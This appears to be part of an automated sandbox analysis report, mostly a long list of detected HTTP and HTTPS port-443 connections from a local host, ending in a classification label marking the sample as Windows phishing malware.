Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50359 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50518
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 50439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50529
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50522
Source: unknown	Network traffic detected: HTTP traffic on port 50612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50521
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50235 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50579
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50578
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50581 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50570
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50573
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50572
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50575
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50574
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50577
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50576
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50580
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50581
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50583
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50586
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50587
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50593
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50592
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50599
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50598
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50532
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50607 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50543
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50314
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50560
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50562
Source: unknown	Network traffic detected: HTTP traffic on port 50593 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50563
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50565
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 50617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50499
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50263
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.132.33.69:443 -> 192.168.2.6:50189 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@51/552@409/100

